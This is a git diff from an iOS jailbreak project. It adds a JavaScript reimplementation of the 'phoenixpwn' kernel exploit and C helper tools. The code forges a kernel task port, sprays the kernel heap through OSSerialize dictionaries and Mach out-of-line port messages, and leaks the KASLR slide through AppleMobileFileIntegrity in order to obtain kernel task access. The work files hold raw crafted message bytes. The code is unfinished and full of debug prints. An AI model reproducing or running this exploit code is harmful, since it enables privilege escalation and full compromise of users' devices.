diff options
| -rwxr-xr-x | src/js/kexp/exploit.js | 60 | ||||
| -rwxr-xr-x | src/js/lib/myutils.js | 4 | ||||
| -rw-r--r-- | src/js/primitives/mem.js | 2 | ||||
| -rw-r--r-- | tools/backup2.c | 171 | ||||
| -rwxr-xr-x | tools/testlol.c | 80 | ||||
| -rw-r--r-- | work/buf.txt | 2 | ||||
| -rwxr-xr-x | work/kek.txt | 195 | ||||
| -rwxr-xr-x | work/lol.txt | 2 |
8 files changed, 498 insertions, 18 deletions
diff --git a/src/js/kexp/exploit.js b/src/js/kexp/exploit.js index e0ef574..22f68ca 100755 --- a/src/js/kexp/exploit.js +++ b/src/js/kexp/exploit.js @@ -26,8 +26,10 @@ var req_head_msgh_reply_port = 0xc; var req_head_msgh_id = 0x14; var req_msgh_body_msgh_descriptor_count = 0x18; var MACH_MSG_OOL_PORTS_DESCRIPTOR = 0x2; -var req_init_port_set_address = 0x0 -var req_init_port_set_count = 0x4 +var req_init_port_set_address = 0x0; +var req_init_port_set_count = 0x4; +var MACH_RCV_MSG = 0x2; +var MACH_MSG_TIMEOUT_NONE = 0; var task_self = 0; var kslide = 0; @@ -181,7 +183,7 @@ function spray(dict, size, port) { var kp = 0; function spray_ports(number_port_descs) { - printf("spray_ports %d\n", number_port_descs); +// printf("spray_ports %d\n", number_port_descs); if (kp == 0) { kp = malloc(4); mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, kp); @@ -191,11 +193,12 @@ function spray_ports(number_port_descs) { var mp = malloc(4); mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, mp); - var rmp = read_u32(mp); - mach_port_insert_right(task_self, rmp, rmp, MACH_MSG_TYPE_MAKE_SEND); + mach_port_insert_right(task_self, read_u32(mp), read_u32(mp), MACH_MSG_TYPE_MAKE_SEND); - send_ports(rmp, read_u32(kp), 2, number_port_descs); - return mp; + send_ports(read_u32(mp), read_u32(kp), 2, number_port_descs); + var ret = read_u32(mp); + free(mp); + return ret; } function fast_log2(n) { @@ -242,8 +245,10 @@ function send_ports(target, payload, num, number_port_descs) { new_buf_.push(tmp[3]); new_buf_.push(0); new_buf_.push(0); - new_buf_.push(19); new_buf_.push(MACH_MSG_OOL_PORTS_DESCRIPTOR); + new_buf_.push(19); + +// printf("%x 0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,\n", new_buf_.length, new_buf_[zz]]); var new_buf = fast_array_mul(new_buf_, number_port_descs); @@ -267,11 +272,27 @@ function send_ports(target, payload, num, number_port_descs) { free(buf); - printf("%d %s\n", ret, mach_error_string(ret)); - return ret; } +function release_port_ptrs(port) { + printf("alive\n"); + var req = malloc(0x1c + (5 * 0xc) + 0x8); + for (var i = 0; i < (0x1c + (5 * 0xc) + 0x8); i += 4) { + write_u32(req + i, 0x0); + } + printf("%s\n", hexdump(read_buf(req, 0x1c + (5 * 0xc) + 0x8), 8, 2, req, 8, "0")); + printf("alive\n"); + var ret = mach_msg(req, MACH_RCV_MSG, 0, (0x1c + (5 * 0xc) + 0x8), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + printf("alive\n"); + // if (ret != KERN_SUCCESS) { + printf("mach_recv %d %s\n", ret, mach_error_string(ret)); + printf("alive\n"); + // } + free(req); + printf("alive\n"); +} + function get_kernel_task() { var ret = 0; var tfp0 = 0; @@ -318,17 +339,36 @@ function get_kernel_task() { prepare_ptr(big_buf, big_size, kptr, 256); prepare_ptr(small_buf, small_size, kptr, 32); + sched_yield(); for (var i = 0; i < PORTS_NUM_PRESPRAY; i++) { var dummy = malloc(4); spray(big_buf, big_size, dummy); } + sched_yield(); for (var i = 0; i < PORTS_NUM; i++) { write_u32(fp + (i << 2), spray_ports(i)); var dummy = malloc(4); spray(small_buf, small_size, dummy); } + sched_yield(); + for (var i = 0; i < PORTS_NUM; i++) { + printf("test\n"); + printf("test1\n"); + printf("test2\n"); + printf("test3\n"); + printf("test4\n"); + printf("test5\n"); + printf("test6\n"); + printf("test7\n"); + printf("test8\n"); + printf("test9\n"); + printf("test10\n"); + release_port_ptrs(read_u32(fp + (i << 2))); + printf("test11\n"); + } + printf("get lucky\n"); return tfp0; diff --git a/src/js/lib/myutils.js b/src/js/lib/myutils.js index 325c490..e856624 100755 --- a/src/js/lib/myutils.js +++ b/src/js/lib/myutils.js @@ -95,8 +95,8 @@ var strlen = scall_wrapper("strlen"); var mach_task_self = scall_wrapper("mach_task_self"); var mach_thread_self = scall_wrapper("mach_thread_self"); var malloc = scall_wrapper("malloc"); -var mach_port_allocate = scall_wrapper("malloc"); -var mach_port_insert_right = scall_wrapper("malloc"); +var mach_port_allocate = scall_wrapper("mach_port_allocate"); +var mach_port_insert_right = scall_wrapper("mach_port_insert_right"); var mach_port_set_attributes = scall_wrapper("mach_port_set_attributes"); var usleep = scall_wrapper("usleep"); var sched_yield = scall_wrapper("sched_yield"); diff --git a/src/js/primitives/mem.js b/src/js/primitives/mem.js index ff12fdd..f6c4fe7 100644 --- a/src/js/primitives/mem.js +++ b/src/js/primitives/mem.js @@ -92,7 +92,7 @@ function write_u32_buf(addy, buf, len) { } function fast_write_buf(addy, buf) { - var upper_i = Math.floor(buf.length / 0x100); + var upper_i = Math.ceil(buf.length / 0x100); for (var i = 0; i < upper_i; i++) { u8x4 = u32_to_u8x4(addy + (i * 0x100)); diff --git a/tools/backup2.c b/tools/backup2.c new file mode 100644 index 0000000..87cf03d --- /dev/null +++ b/tools/backup2.c @@ -0,0 +1,171 @@ +#include <mach/mach.h> +#include <sys/mman.h> +#include <stddef.h> +#include <stdio.h> +//#include <IOKit/IOKitLib.h> +//#include <IOKit/iokitmig.h> + +typedef struct __attribute__((__packed__)) { + uint32_t ip_bits; + uint32_t ip_references; + struct __attribute__((__packed__)) { + uint32_t data; + uint32_t pad; + uint32_t type; + } ip_lock; + struct __attribute__((__packed__)) { + struct __attribute__((__packed__)) { + struct __attribute__((__packed__)) { + uint32_t flags; + uintptr_t waitq_interlock; + uint64_t waitq_set_id; + uint64_t waitq_prepost_id; + struct __attribute__((__packed__)) { + uintptr_t next; + uintptr_t prev; + } waitq_queue; + } waitq; + uintptr_t messages; + natural_t seqno; + natural_t receiver_name; + uint16_t msgcount; + uint16_t qlimit; + } port; + uintptr_t imq_klist; + } ip_messages; + natural_t ip_flags; + uintptr_t ip_receiver; + uintptr_t ip_kobject; + uintptr_t ip_nsrequest; + uintptr_t ip_pdrequest; + uintptr_t ip_requests; + uintptr_t ip_premsg; + uint64_t ip_context; + natural_t ip_mscount; + natural_t ip_srights; + natural_t ip_sorights; +} kport_t; + +mach_port_t kp = 0; +mach_port_t spray_ports(mach_msg_type_number_t number_port_descs) { + if (!kp) { + mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &kp); + mach_port_insert_right(mach_task_self(), kp, kp, MACH_MSG_TYPE_MAKE_SEND); + } + + mach_port_t mp = 0; + + mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &mp); + mach_port_insert_right(mach_task_self(), mp, mp, MACH_MSG_TYPE_MAKE_SEND); + + send_ports(mp, kp, 2, number_port_descs); + + return mp; +} + +kern_return_t send_ports(mach_port_t target, mach_port_t payload, size_t num, mach_msg_type_number_t number_port_descs) +{ + mach_port_t init_port_set[num]; + for(size_t i = 0; i < num; ++i) + { + init_port_set[i] = payload; + } + + typedef struct { + mach_msg_header_t Head; + mach_msg_body_t msgh_body; + mach_msg_ool_ports_descriptor_t init_port_set[0]; + } Request; + + char buf[sizeof(Request) + number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t)]; + Request *InP = (Request*)buf; + + InP->msgh_body.msgh_descriptor_count = number_port_descs; + for (int i = 0; i < 2; i++) { + InP->init_port_set[i].address = (void *)(init_port_set); + InP->init_port_set[i].count = 4; + InP->init_port_set[i].disposition = 19; + InP->init_port_set[i].deallocate = FALSE; + InP->init_port_set[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR; + } + + InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); + /* msgh_size passed as argument */ + InP->Head.msgh_remote_port = 0x44434241; + InP->Head.msgh_local_port = 0; + InP->Head.msgh_id = 0x1337; + + + int ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request)+number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + printf("%d %s\n", ret, mach_error_string(ret)); + return ret; +} + +int main(int argc, char* argv[]) { + printf("var MACH_PORT_RIGHT_RECEIVE = 0x%x;\n", MACH_PORT_RIGHT_RECEIVE); + printf("var MACH_MSG_TYPE_MAKE_SEND = 0x%x;\n", MACH_MSG_TYPE_MAKE_SEND); + printf("var MACH_PORT_LIMITS_INFO = 0x%x;\n", MACH_PORT_LIMITS_INFO); + printf("var MACH_PORT_LIMITS_INFO_COUNT = 0x%x;\n", MACH_PORT_LIMITS_INFO_COUNT); + printf("var MACH_MSG_OOL_PORTS_DESCRIPTOR = 0x%x;\n", MACH_MSG_OOL_PORTS_DESCRIPTOR); + printf("var kport_size = 0x%x;\n", sizeof(kport_t)); + kport_t kport[2] = {}; + uintptr_t *ptr = (uintptr_t*)(kport + 1); + kport->ip_bits = 0x80000002; // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK + kport->ip_references = 100; + kport->ip_lock.type = 0x11; + kport->ip_messages.port.qlimit = 777; + kport->ip_receiver = 0x12345678; // dummy + kport->ip_srights = 99; + typedef struct { + mach_msg_header_t Head; + mach_msg_body_t msgh_body; + mach_msg_ool_ports_descriptor_t init_port_set[0]; + } Request; + + printf("%x\n", sizeof(Request)); + printf("%x\n", sizeof(mach_msg_ool_ports_descriptor_t)); + printf("var req_init_port_set = 0x%x\n", offsetof(Request, init_port_set)); + printf("var req_init_port_set_address = 0x%x\n", offsetof(mach_msg_ool_ports_descriptor_t, address)); + printf("var req_init_port_set_count = 0x%x\n", offsetof(mach_msg_ool_ports_descriptor_t, count)); + printf("%x %x %x %x %x\n", PROT_READ, PROT_WRITE, PROT_EXEC, MAP_PRIVATE, MAP_ANON); +// printf("var req_init_port_set_disposition = 0x%x\n", offsetof(Request, init_port_set) + offsetof(mach_msg_ool_ports_descriptor_t, disposition)); +// printf("var req_init_port_set_deallocate = 0x%x\n", offsetof(Request, init_port_set) + offsetof(mach_msg_ool_ports_descriptor_t, deallocate)); +// printf("var req_init_port_set_type = 0x%x\n", offsetof(Request, init_port_set) + offsetof(mach_msg_ool_ports_descriptor_t, type)); + printf("var req_head_msgh_bits = 0x%x\n", offsetof(Request, Head.msgh_bits)); + printf("var req_head_msgh_request_port = 0x%x\n", offsetof(Request, Head.msgh_remote_port)); + printf("var req_head_msgh_reply_port = 0x%x\n", offsetof(Request, Head.msgh_local_port)); + printf("var req_head_msgh_id = 0x%x\n", offsetof(Request, Head.msgh_id)); + printf("var req_msgh_body_msgh_descriptor_count = 0x%x\n", offsetof(Request, msgh_body.msgh_descriptor_count)); + + printf("%x\n", sizeof(mach_msg_header_t)); + + printf("%x\n", MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE)); + printf("%x\n", MACH_SEND_MSG|MACH_MSG_OPTION_NONE); + printf("%x\n", MACH_MSG_TIMEOUT_NONE); + + printf("var kport_ip_bits%x = 0x%x;\n", 4, offsetof(kport_t, ip_bits)); + printf("var kport_ip_references%x = 0x%x;\n", 4, offsetof(kport_t, ip_references)); + printf("var kport_ip_lock_type%x = 0x%x;\n", 4, offsetof(kport_t, ip_lock.type)); + printf("var kport_ip_messages_port_qlimit%x = 0x%x;\n", 2, offsetof(kport_t, ip_messages.port.qlimit)); + printf("var kport_ip_receiver%x = 0x%x;\n", 4, offsetof(kport_t, ip_receiver)); + printf("var kport_ip_srights%x = 0x%x;\n", 4, offsetof(kport_t, ip_srights)); + printf("var MIG_MAX = 0x%x\n", 0x1000); + printf("var NDR_record = %x %x %x %x\n", NDR_record); + + spray_ports(2); + +/* + for (int i = 0; i < (sizeof(Request) + number_port_descs * sizeof(mach_msg_ool_ports_descriptor_t)); i++) { + printf("0x%02x,", ((uint8_t*)(buf))[i]); + } + printf("\n"); + + int ret = mach_msg(buf, 1, 0x1c + (number_port_descs * 0xc), 0, 0, 0, MACH_PORT_NULL);*/ +// +// printf("%d %s\n", ret, mach_error_string(ret)); + + // printf("%p %p %x %x\n", buf, &InP->Head, sizeof(Request), sizeof(mach_msg_ool_ports_descriptor_t)); + // printf("%x %x %x %x %x %x %x %x %x\n", &InP->Head, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request)+number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL, 0x41414141); + + return 0; +} diff --git a/tools/testlol.c b/tools/testlol.c index 59b1db9..526895b 100755 --- a/tools/testlol.c +++ b/tools/testlol.c @@ -46,6 +46,67 @@ typedef struct __attribute__((__packed__)) { natural_t ip_sorights;
} kport_t;
+mach_port_t kp = 0;
+mach_port_t spray_ports(mach_msg_type_number_t number_port_descs) {
+ if (!kp) {
+ mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &kp);
+ mach_port_insert_right(mach_task_self(), kp, kp, MACH_MSG_TYPE_MAKE_SEND);
+ }
+
+ mach_port_t mp = 0;
+
+ mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &mp);
+ mach_port_insert_right(mach_task_self(), mp, mp, MACH_MSG_TYPE_MAKE_SEND);
+
+ send_ports(mp, kp, 2, number_port_descs);
+
+ printf("%x %x %x %x\n", mp, kp, 2, number_port_descs);
+
+ return mp;
+}
+
+kern_return_t send_ports(mach_port_t target, mach_port_t payload, size_t num, mach_msg_type_number_t number_port_descs)
+{
+ mach_port_t init_port_set[num];
+ for(size_t i = 0; i < num; ++i)
+ {
+ init_port_set[i] = payload;
+ }
+
+ typedef struct {
+ mach_msg_header_t Head;
+ mach_msg_body_t msgh_body;
+ mach_msg_ool_ports_descriptor_t init_port_set[0];
+ } Request;
+
+ char buf[sizeof(Request) + number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t)];
+ Request *InP = (Request*)buf;
+
+ InP->msgh_body.msgh_descriptor_count = number_port_descs;
+ for (int i = 0; i < 2; i++) {
+ InP->init_port_set[i].address = (void *)0x41424344;
+ InP->init_port_set[i].count = 0x45464748;
+ InP->init_port_set[i].disposition = 0x53;
+ InP->init_port_set[i].deallocate = 0x51;
+ InP->init_port_set[i].type = 0x54;
+ }
+
+ InP->Head.msgh_bits = 0x494a4b4c;
+ /* msgh_size passed as argument */
+ InP->Head.msgh_remote_port = 0x4d4e4f50;
+ InP->Head.msgh_local_port = 0x51525354;
+ InP->Head.msgh_id = 0x55565758;
+
+ for (int i = 0; i < (sizeof(Request) + number_port_descs * sizeof(mach_msg_ool_ports_descriptor_t)); i++) {
+ printf("0x%02x,", ((uint8_t*)(buf))[i]);
+ }
+ printf("\n");
+
+ int ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request)+number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
+ printf("%d %s\n", ret, mach_error_string(ret));
+ return ret;
+}
+
int main(int argc, char* argv[]) {
printf("var MACH_PORT_RIGHT_RECEIVE = 0x%x;\n", MACH_PORT_RIGHT_RECEIVE);
printf("var MACH_MSG_TYPE_MAKE_SEND = 0x%x;\n", MACH_MSG_TYPE_MAKE_SEND);
@@ -97,13 +158,22 @@ int main(int argc, char* argv[]) { printf("var MIG_MAX = 0x%x\n", 0x1000);
printf("var NDR_record = %x %x %x %x\n", NDR_record);
- int number_port_descs = 1;
+// spray_ports(2);
- char buf[sizeof(Request) + number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t)];
- Request *InP = (Request*)buf;
+ printf("%x\n", MACH_RCV_MSG);
+
+/*
+ for (int i = 0; i < (sizeof(Request) + number_port_descs * sizeof(mach_msg_ool_ports_descriptor_t)); i++) {
+ printf("0x%02x,", ((uint8_t*)(buf))[i]);
+ }
+ printf("\n");
+
+ int ret = mach_msg(buf, 1, 0x1c + (number_port_descs * 0xc), 0, 0, 0, MACH_PORT_NULL);*/
+//
+// printf("%d %s\n", ret, mach_error_string(ret));
- printf("%p %p %x %x\n", buf, &InP->Head, sizeof(Request), sizeof(mach_msg_ool_ports_descriptor_t));
- printf("%x %x %x %x %x %x %x %x %x\n", &InP->Head, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request)+number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL, 0x41414141);
+ // printf("%p %p %x %x\n", buf, &InP->Head, sizeof(Request), sizeof(mach_msg_ool_ports_descriptor_t));
+ // printf("%x %x %x %x %x %x %x %x %x\n", &InP->Head, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request)+number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL, 0x41414141);
return 0;
}
diff --git a/work/buf.txt b/work/buf.txt new file mode 100644 index 0000000..af5be02 --- /dev/null +++ b/work/buf.txt @@ -0,0 +1,2 @@ +0x0b,0xe4,0xb6,0x22,0xf0,0x56,0x10,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x2c,0x58,0x10,0x00,0x68,0x25,0x00,0x00, +0xf0,0x17,0xe7,0x17,0x02,0x00,0x00,0x00,0x00,0x00,0x13,0x02,0xf0,0x17,0xe7,0x17,0x02,0x00,0x00,0x00,0x00,0x00,0x13,0x02,
\ No newline at end of file diff --git a/work/kek.txt b/work/kek.txt new file mode 100755 index 0000000..047b7d2 --- /dev/null +++ b/work/kek.txt @@ -0,0 +1,195 @@ +/*
+ * phoenixpwn kernel exploit
+ * reimplemented in JS
+ * greetz to @s1guza, @tihmstar, @i41nbeer, @mbazaliy
+ */
+
+var sanity_port = 0;
+var MACH_PORT_RIGHT_RECEIVE = 0x1;
+var MACH_MSG_TYPE_MAKE_SEND = 0x14;
+var MACH_PORT_LIMITS_INFO = 0x1;
+var MACH_PORT_LIMITS_INFO_COUNT = 0x1;
+var kport_size = 0x78;
+var kport_ip_bits4 = 0x0;
+var kport_ip_references4 = 0x4;
+var kport_ip_lock_type4 = 0x10;
+var kport_ip_messages_port_qlimit2 = 0x42;
+var kport_ip_receiver4 = 0x4c;
+var kport_ip_srights4 = 0x70;
+var KERN_SUCCESS = 0;
+var NULL = 0;
+var MACH_PORT_NULL = 0;
+
+var fakeportData = 0;
+
+var kOSSerializeDictionary = 0x01000000;
+var kOSSerializeArray = 0x02000000;
+var kOSSerializeSet = 0x03000000;
+var kOSSerializeNumber = 0x04000000;
+var kOSSerializeSymbol = 0x08000000;
+var kOSSerializeString = 0x09000000;
+var kOSSerializeData = 0x0a000000;
+var kOSSerializeBoolean = 0x0b000000;
+var kOSSerializeObject = 0x0c000000;
+
+var kOSSerializeTypeMask = 0x7F000000;
+var kOSSerializeDataMask = 0x00FFFFFF;
+
+var kOSSerializeEndCollection = 0x80000000;
+
+var kOSSerializeMagic = 0x000000d3;
+
+var PROT_READ = 0x1;
+var PROT_WRITE = 0x2;
+var PROT_EXEC = 0x4;
+
+var SIZEOF_BYTES_MSG = 384;
+
+var PORTS_NUM = 1024;
+var PORTS_NUM_PRESPRAY = 100;
+var MIG_MAX = 0x1000;
+var NDR_record = 0x36ebf00c;
+
+function spray_data(mem, size, num, portptr) {
+ var err = malloc(4);
+ var ret = 0;
+ var master = malloc(4);
+ host_get_io_master(mach_host_self(), master);
+ var dict = malloc(MIG_MAX);
+ var __cnt = 0;
+ write_u32(dict + (__cnt << 2), kOSSerializeMagic); __cnt++;
+ write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeDictionary | 1); __cnt++;
+ write_u32(dict + (__cnt << 2), kOSSerializeSymbol | 4); __cnt++;
+ write_u32(dict + (__cnt << 2), 0x0079656b); __cnt++;
+ write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeArray | num); __cnt++;
+
+ for (var i = 0; i < num; i++) {
+ if (i == (num - 1)) {
+ write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeData | SIZEOF_BYTES_MSG); __cnt++;
+ } else {
+ write_u32(dict + (__cnt << 2), kOSSerializeData | SIZEOF_BYTES_MSG); __cnt++;
+ }
+ if (mem != 0 && size != 0) {
+ memcpy(dict + (__cnt << 2), mem, size);
+ }
+ memset(dict + (__cnt << 2) + size, 0, SIZEOF_BYTES_MSG - size);
+ __cnt += SIZEOF_BYTES_MSG / 4;
+ }
+
+ printf("%x %x\n", master, read_u32(master));
+ printf("%x\n", read_u32(0x36ebf00c + get_dyld_shc_slide()));
+ ret = io_service_add_notification_ool(read_u32(master), "IOServiceTerminate", dict, __cnt * 4, MACH_PORT_NULL, NULL, 0, err, portptr);
+ if (ret == KERN_SUCCESS) {
+ ret = read_u32(err);
+ }
+
+ return ret;
+}
+
+function copyinPort(kport, cnt) {
+ var err = malloc(4);
+ var ret = 0;
+ var self = mach_task_self();
+ var service = MACH_PORT_NULL;
+ var client = malloc(4);
+ var it = malloc(4);
+ var o = MACH_PORT_NULL;
+ var data = malloc(4);
+ var master = malloc(4);
+ fakeportData = malloc(4);
+ host_get_io_master(mach_host_self(), master);
+ ret = spray_data(NULL, 0, 5, data);
+ printf("spray_data=%d (%s)\n", ret, mach_error_string(ret));
+ printf("sprayed, still here\n");
+ printf("still alive 100\n");
+
+ service = IOServiceGetMatchingService(read_u32(master), IOServiceMatching("AppleMobileFileIntegrity"));
+ printf("service=%x\n", service);
+ printf("still alive 104\n");
+
+ var tst = sptr("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
+ var kpbuf = tst + 4;
+ for (var i = 0; i < cnt; i++) {
+ write_buf(kpbuf + (i * kport_size), read_buf(kport + (i * kport_size), kport_size), kport_size);
+ }
+ printf("still alive 111\n");
+
+ var err = malloc(4);
+ printf("still alive 114\n");
+ var xml = sptr("<plist><dict><key>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</key><integer size=\"512\">1768515945</integer></dict></plist>");
+ printf("still alive 116\n");
+ ret = io_service_open_extended(service, self, 0, 0, 1, xml, strlen(xml) + 1, err, client);
+ printf("still alive 118\n");
+ printf("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret));
+ printf("still alive 120\n");
+ if (ret == KERN_SUCCESS) {
+ ret = read_u32(err);
+ }
+ printf("still alive 124\n");
+ printf("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret));
+ printf("still alive 126\n");
+ IORegistryEntryGetChildIterator(service, "IOService", it);
+ printf("still alive 128\n");
+
+ var found = false;
+
+ while ((o = IOIteratorNext(read_u32(it))) != MACH_PORT_NULL && !found) {
+ printf("still alive 133\n");
+ var buf = malloc(16 * 4);
+ var size = malloc(4);
+ write_u32(size, 16 * 4);
+ ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", buf, size);
+ if (ret == KERN_SUCCESS) {
+ printf("yolo\n");
+ mach_port_deallocate(self, read_u32(data));
+ write_u32(data, MACH_PORT_NULL);
+ spray_data(tst, strlen(tst) + 1, 10, fakeportData);
+ printf("YOLO YOLO YOLO kaslr_slide=0x%08x\n", ((read_u32(buf + (9 << 2)) & 0xfff00000) + 0x1000) - 0x80001000);
+ sleep(1);
+ found = true;
+ }
+ }
+
+}
+
+function get_kernel_task() {
+ var ret = 0;
+ var tfp0 = 0;
+
+ sanity_port = malloc(4);
+
+ mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, sanity_port);
+ mach_port_insert_right(mach_task_self(), read_u32(sanity_port), read_u32(sanity_port), MACH_MSG_TYPE_MAKE_SEND);
+ limits = malloc(4);
+ write_u32(limits, 1000);
+ mach_port_set_attributes(mach_task_self(), read_u32(sanity_port), MACH_PORT_LIMITS_INFO, limits, MACH_PORT_LIMITS_INFO_COUNT);
+
+ printf("starting exploit\n");
+
+ var data = malloc(16);
+ var kport = malloc(kport_size * 2);
+ var ptr = kport + kport_size; // maybe + 1? iirc adding 1 to a pointer adds sizeof(type) unless it's void or something
+ write_u32(kport + kport_ip_bits4, 0x80000002); // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK
+ write_u32(kport + kport_ip_references4, 100);
+ write_u32(kport + kport_ip_lock_type4, 0x11);
+ write_u16(kport + kport_ip_messages_port_qlimit2, 777);
+ write_u32(kport + kport_ip_receiver4, 0x12345678); // dummy
+ write_u32(kport + kport_ip_srights4, 99);
+
+ var big_buf = malloc(MIG_MAX);
+ var small_buf = malloc(MIG_MAX);
+
+ var big_size = 0;
+ var small_size = 0;
+
+ var fp = malloc(PORTS_NUM * 4);
+ var postSpray = malloc(4);
+
+ usleep(10000);
+ sched_yield();
+ var kptr = copyinPort(kport, 2);
+
+ printf("get lucky\n");
+
+ return tfp0;
+}
\ No newline at end of file diff --git a/work/lol.txt b/work/lol.txt new file mode 100755 index 0000000..fab4ec8 --- /dev/null +++ b/work/lol.txt @@ -0,0 +1,2 @@ +0x13,0x15,0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x39,0x05,0x00,0x00,0x02,0x00,0x00,0x00,0xa0,0x1b,0x61,0x17,0x02,0x00,0x00,0x00,0x00,0x00,0x13,0x02,0xa0,0x1b,0x61,0x17,0x02,0x00,0x00,0x00,0x00,0x00,0x13,0x02
+0x13,0x15,0x00,0x80,0xec,0x56,0x10,0x00,0x44,0x43,0x42,0x41,0x00,0x00,0x00,0x00,0x2c,0x58,0x10,0x00,0x37,0x13,0x00,0x00,0x02,0x00,0x00,0x00,0x44,0x43,0x42,0x41,0x04,0x00,0x00,0x00,0x00,0x00,0x13,0x02,0x44,0x43,0x42,0x41,0x04,0x00,0x00,0x00,0x00,0x57,0x13,0x02,
\ No newline at end of file |
